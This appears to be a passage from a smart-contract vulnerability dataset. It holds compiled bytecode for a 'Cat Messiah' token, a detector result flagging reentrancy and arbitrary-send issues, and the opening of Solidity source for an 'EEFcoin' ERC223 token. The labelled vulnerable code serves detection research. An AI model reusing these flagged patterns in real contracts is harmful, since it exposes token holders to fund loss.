require(cooldownSecs > 0, "Secs must be greater than 0"); _cooldownSeconds = cooldownSecs; } }
0x6080604052600436106101175760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610383578063c3c8cd80146103c0578063d543dbeb146103d7578063dd62ed3e14610400578063ed9953071461043d5761011e565b806370a08231146102b0578063715018a6146102ed5780637b5b1157146103045780638da5cb5b1461032d57806395d89b41146103585761011e565b806323b872dd116100e757806323b872dd146101df578063313ce5671461021c5780635932ead1146102475780636b999053146102705780636fc3eaec146102995761011e565b8062b8cf2a1461012357806306fdde031461014c578063095ea7b31461017757806318160ddd146101b45761011e565b3661011e57005b600080fd5b34801561012f57600080fd5b5061014a60048036038101906101459190612b5f565b610454565b005b34801561015857600080fd5b506101616105a4565b60405161016e9190613023565b60405180910390f35b34801561018357600080fd5b5061019e60048036038101906101999190612b23565b6105e1565b6040516101ab9190613008565b60405180910390f35b3480156101c057600080fd5b506101c96105ff565b6040516101d691906131e5565b60405180910390f35b3480156101eb57600080fd5b5061020660048036038101906102019190612ad4565b610610565b6040516102139190613008565b60405180910390f35b34801561022857600080fd5b506102316106e9565b60405161023e919061325a565b60405180910390f35b34801561025357600080fd5b5061026e60048036038101906102699190612ba0565b6106f2565b005b34801561027c57600080fd5b5061029760048036038101906102929190612a46565b6107a4565b005b3480156102a557600080fd5b506102ae610894565b005b3480156102bc57600080fd5b506102d760048036038101906102d29190612a46565b610906565b6040516102e491906131e5565b60405180910390f35b3480156102f957600080fd5b50610302610957565b005b34801561031057600080fd5b5061032b60048036038101906103269190612bf2565b610aaa565b005b34801561033957600080fd5b50610342610b8c565b60405161034f9190612f3a565b60405180910390f35b34801561036457600080fd5b5061036d610bb5565b60405161037a9190613023565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190612b23565b610bf2565b6040516103b79190613008565b60405180910390f35b3480156103cc57600080fd5b506103d5610c10565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190612bf2565b610c8a565b005b34801561040c57600080fd5b5061042760048036038101906104229190612a98565b610dd3565b60405161043491906131e5565b60405180910390f35b34801561044957600080fd5b50610452610e5a565b005b61045c6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e090613145565b60405180910390fd5b60005b81518110156105a0576001600a6000848481518110610534577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610598906134fb565b9150506104ec565b5050565b60606040518060400160405280600b81526020017f436174204d657373696168000000000000000000000000000000000000000000815250905090565b60006105f56105ee6113b6565b84846113be565b6001905092915050565b6000683635c9adc5dea00000905090565b600061061d848484611589565b6106de846106296113b6565b6106d98560405180606001604052806028815260200161394760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068f6113b6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d559092919063ffffffff16565b6113be565b600190509392505050565b60006009905090565b6106fa6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077e90613145565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b6107ac6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610839576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083090613145565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108d56113b6565b73ffffffffffffffffffffffffffffffffffffffff16146108f557600080fd5b600047905061090381611db9565b50565b6000610950600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb4565b9050919050565b61095f6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e390613145565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ab26113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3690613145565b60405180910390fd5b60008111610b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b79906130e5565b60405180910390fd5b8060118190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f634d657373696168000000000000000000000000000000000000000000000000815250905090565b6000610c06610bff6113b6565b8484611589565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c516113b6565b73ffffffffffffffffffffffffffffffffffffffff1614610c7157600080fd5b6000610c7c30610906565b9050610c8781611f22565b50565b610c926113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1690613145565b60405180910390fd5b60008111610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990613105565b60405180910390fd5b610d916064610d8383683635c9adc5dea0000061221c90919063ffffffff16565b61229790919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610dc891906131e5565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e626113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee690613145565b60405180910390fd5b600f60149054906101000a900460ff1615610f3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3690613065565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fcf30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113be565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561101557600080fd5b505afa158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d9190612a6f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156110af57600080fd5b505afa1580156110c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e79190612a6f565b6040518363ffffffff1660e01b8152600401611104929190612f55565b602060405180830381600087803b15801561111e57600080fd5b505af1158015611132573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111569190612a6f565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111df30610906565b6000806111ea610b8c565b426040518863ffffffff1660e01b815260040161120c96959493929190612fa7565b6060604051808303818588803b15801561122557600080fd5b505af1158015611239573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061125e9190612c1b565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611360929190612f7e565b602060405180830381600087803b15801561137a57600080fd5b505af115801561138e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b29190612bc9565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611425906131a5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561149e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611495906130a5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157c91906131e5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f090613185565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611669576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166090613045565b60405180910390fd5b600081116116ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a390613165565b60405180910390fd5b6116b4610b8c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172257506116f2610b8c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c9257600f60179054906101000a900460ff1615611955573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117a457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117fe5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118585750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561195457600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661189e6113b6565b73ffffffffffffffffffffffffffffffffffffffff1614806119145750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118fc6113b6565b73ffffffffffffffffffffffffffffffffffffffff16145b611953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194a906131c5565b60405180910390fd5b5b5b60105481111561196457600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a085750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a1157600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611abc5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b125750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b2a5750600f60179054906101000a900460ff165b15611bd85742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611b7a57600080fd5b6001601154611b8991906133a2565b42611b94919061331b565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611be330610906565b9050600f60159054906101000a900460ff16158015611c505750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c685750600f60169054906101000a900460ff165b15611c9057611c7681611f22565b60004790506000811115611c8e57611c8d47611db9565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d4357600090505b611d4f848484846122e1565b50505050565b6000838311158290611d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d949190613023565b60405180910390fd5b5060008385611dac91906133fc565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e0960028461229790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e34573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e8560028461229790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611eb0573d6000803e3d6000fd5b5050565b6000600654821115611efb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef290613085565b60405180910390fd5b6000611f0561230e565b9050611f1a818461229790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f80577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fae5781602001602082028036833780820191505090505b5090503081600081518110611fec577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208e57600080fd5b505afa1580156120a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120c69190612a6f565b81600181518110612100577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061216730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113be565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121cb959493929190613200565b600060405180830381600087803b1580156121e557600080fd5b505af11580156121f9573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561222f5760009050612291565b6000828461223d91906133a2565b905082848261224c9190613371565b1461228c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228390613125565b60405180910390fd5b809150505b92915050565b60006122d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612339565b905092915050565b806122ef576122ee61239c565b5b6122fa8484846123cd565b8061230857612307612598565b5b50505050565b600080600061231b6125aa565b91509150612332818361229790919063ffffffff16565b9250505090565b60008083118290612380576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123779190613023565b60405180910390fd5b506000838561238f9190613371565b9050809150509392505050565b60006008541480156123b057506000600954145b156123ba576123cb565b600060088190555060006009819055505b565b6000806000806000806123df8761260c565b95509550955095509550955061243d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461267490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124d285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251e8161271c565b61252884836127d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161258591906131e5565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506125e0683635c9adc5dea0000060065461229790919063ffffffff16565b8210156125ff57600654683635c9adc5dea00000935093505050612608565b81819350935050505b9091565b60008060008060008060008060006126298a600854600954612813565b925092509250600061263961230e565b9050600080600061264c8e8787876128a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d55565b905092915050565b60008082846126cd919061331b565b905083811015612712576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612709906130c5565b60405180910390fd5b8091505092915050565b600061272661230e565b9050600061273d828461221c90919063ffffffff16565b905061279181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127ee8260065461267490919063ffffffff16565b600681905550612809816007546126be90919063ffffffff16565b6007819055505050565b60008060008061283f6064612831888a61221c90919063ffffffff16565b61229790919063ffffffff16565b90506000612869606461285b888b61221c90919063ffffffff16565b61229790919063ffffffff16565b9050600061289282612884858c61267490919063ffffffff16565b61267490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128c2858961221c90919063ffffffff16565b905060006128d9868961221c90919063ffffffff16565b905060006128f0878961221c90919063ffffffff16565b905060006129198261290b858761267490919063ffffffff16565b61267490919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006129456129408461329a565b613275565b9050808382526020820190508285602086028201111561296457600080fd5b60005b85811015612994578161297a888261299e565b845260208401935060208301925050600181019050612967565b5050509392505050565b6000813590506129ad81613901565b92915050565b6000815190506129c281613901565b92915050565b600082601f8301126129d957600080fd5b81356129e9848260208601612932565b91505092915050565b600081359050612a0181613918565b92915050565b600081519050612a1681613918565b92915050565b600081359050612a2b8161392f565b92915050565b600081519050612a408161392f565b92915050565b600060208284031215612a5857600080fd5b6000612a668482850161299e565b91505092915050565b600060208284031215612a8157600080fd5b6000612a8f848285016129b3565b91505092915050565b60008060408385031215612aab57600080fd5b6000612ab98582860161299e565b9250506020612aca8582860161299e565b9150509250929050565b600080600060608486031215612ae957600080fd5b6000612af78682870161299e565b9350506020612b088682870161299e565b9250506040612b1986828701612a1c565b9150509250925092565b60008060408385031215612b3657600080fd5b6000612b448582860161299e565b9250506020612b5585828601612a1c565b9150509250929050565b600060208284031215612b7157600080fd5b600082013567ffffffffffffffff811115612b8b57600080fd5b612b97848285016129c8565b91505092915050565b600060208284031215612bb257600080fd5b6000612bc0848285016129f2565b91505092915050565b600060208284031215612bdb57600080fd5b6000612be984828501612a07565b91505092915050565b600060208284031215612c0457600080fd5b6000612c1284828501612a1c565b91505092915050565b600080600060608486031215612c3057600080fd5b6000612c3e86828701612a31565b9350506020612c4f86828701612a31565b9250506040612c6086828701612a31565b9150509250925092565b6000612c768383612c82565b60208301905092915050565b612c8b81613430565b82525050565b612c9a81613430565b82525050565b6000612cab826132d6565b612cb581856132f9565b9350612cc0836132c6565b8060005b83811015612cf1578151612cd88882612c6a565b9750612ce3836132ec565b925050600181019050612cc4565b5085935050505092915050565b612d0781613442565b82525050565b612d1681613485565b82525050565b6000612d27826132e1565b612d31818561330a565b9350612d41818560208601613497565b612d4a816135d1565b840191505092915050565b6000612d6260238361330a565b9150612d6d826135e2565b604082019050919050565b6000612d85601a8361330a565b9150612d9082613631565b602082019050919050565b6000612da8602a8361330a565b9150612db38261365a565b604082019050919050565b6000612dcb60228361330a565b9150612dd6826136a9565b604082019050919050565b6000612dee601b8361330a565b9150612df9826136f8565b602082019050919050565b6000612e11601b8361330a565b9150612e1c82613721565b602082019050919050565b6000612e34601d8361330a565b9150612e3f8261374a565b602082019050919050565b6000612e5760218361330a565b9150612e6282613773565b604082019050919050565b6000612e7a60208361330a565b9150612e85826137c2565b602082019050919050565b6000612e9d60298361330a565b9150612ea8826137eb565b604082019050919050565b6000612ec060258361330a565b9150612ecb8261383a565b604082019050919050565b6000612ee360248361330a565b9150612eee82613889565b604082019050919050565b6000612f0660118361330a565b9150612f11826138d8565b602082019050919050565b612f258161346e565b82525050565b612f3481613478565b82525050565b6000602082019050612f4f6000830184612c91565b92915050565b6000604082019050612f6a6000830185612c91565b612f776020830184612c91565b9392505050565b6000604082019050612f936000830185612c91565b612fa06020830184612f1c565b9392505050565b600060c082019050612fbc6000830189612c91565b612fc96020830188612f1c565b612fd66040830187612d0d565b612fe36060830186612d0d565b612ff06080830185612c91565b612ffd60a0830184612f1c565b979650505050505050565b600060208201905061301d6000830184612cfe565b92915050565b6000602082019050818103600083015261303d8184612d1c565b905092915050565b6000602082019050818103600083015261305e81612d55565b9050919050565b6000602082019050818103600083015261307e81612d78565b9050919050565b6000602082019050818103600083015261309e81612d9b565b9050919050565b600060208201905081810360008301526130be81612dbe565b9050919050565b600060208201905081810360008301526130de81612de1565b9050919050565b600060208201905081810360008301526130fe81612e04565b9050919050565b6000602082019050818103600083015261311e81612e27565b9050919050565b6000602082019050818103600083015261313e81612e4a565b9050919050565b6000602082019050818103600083015261315e81612e6d565b9050919050565b6000602082019050818103600083015261317e81612e90565b9050919050565b6000602082019050818103600083015261319e81612eb3565b9050919050565b600060208201905081810360008301526131be81612ed6565b9050919050565b600060208201905081810360008301526131de81612ef9565b9050919050565b60006020820190506131fa6000830184612f1c565b92915050565b600060a0820190506132156000830188612f1c565b6132226020830187612d0d565b81810360408301526132348186612ca0565b90506132436060830185612c91565b6132506080830184612f1c565b9695505050505050565b600060208201905061326f6000830184612f2b565b92915050565b600061327f613290565b905061328b82826134ca565b919050565b6000604051905090565b600067ffffffffffffffff8211156132b5576132b46135a2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133268261346e565b91506133318361346e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561336657613365613544565b5b828201905092915050565b600061337c8261346e565b91506133878361346e565b92508261339757613396613573565b5b828204905092915050565b60006133ad8261346e565b91506133b88361346e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133f1576133f0613544565b5b828202905092915050565b60006134078261346e565b91506134128361346e565b92508282101561342557613424613544565b5b828203905092915050565b600061343b8261344e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134908261346e565b9050919050565b60005b838110156134b557808201518184015260208101905061349a565b838111156134c4576000848401525b50505050565b6134d3826135d1565b810181811067ffffffffffffffff821117156134f2576134f16135a2565b5b80604052505050565b60006135068261346e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561353957613538613544565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f53656373206d7573742062652067726561746572207468616e20300000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61390a81613430565b811461391557600080fd5b50565b61392181613442565b811461392c57600080fd5b50565b6139388161346e565b811461394357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200bfb3cf28d06f042d75a8f49ec3f06ad1ce05424664211814c8189fbc914c84764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,439
0x5df18a3c0572b8591084a2c78711be7e3aa711ab
pragma solidity ^0.4.20; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { function balanceOf(address who) public view returns (uint); function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed burner, uint256 value); } contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract EEFcoin is ERC223 { using SafeMath for uint256; using SafeMath for uint; address public owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public blacklist; mapping (address => uint) public increase; mapping (address => uint256) public unlockUnixTime; uint public maxIncrease=20; address public target; string internal name_= "EEFcoin"; string internal symbol_ = "EEF"; uint8 internal decimals_= 18; uint256 internal totalSupply_= 100000000e18; uint256 public toGiveBase = 30e18; uint256 public increaseBase = 100e18; uint256 public OfficalHold = totalSupply_.mul(18).div(100); uint256 public totalRemaining = totalSupply_; uint256 public totalDistributed = 0; bool public canTransfer = true; uint256 public etherGetBase=30000; bool public distributionFinished = false; bool public finishFreeGetToken = false; bool public finishEthGetToken = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier canTrans() { require(canTransfer == true); _; } modifier onlyWhitelist() { require(blacklist[msg.sender] == false); _; } function EEFcoin (address _target) public { owner = msg.sender; target = _target; distr(target, OfficalHold); } // Function to access name of token . function name() public view returns (string _name) { return name_; } // Function to access symbol of token . function symbol() public view returns (string _symbol) { return symbol_; } 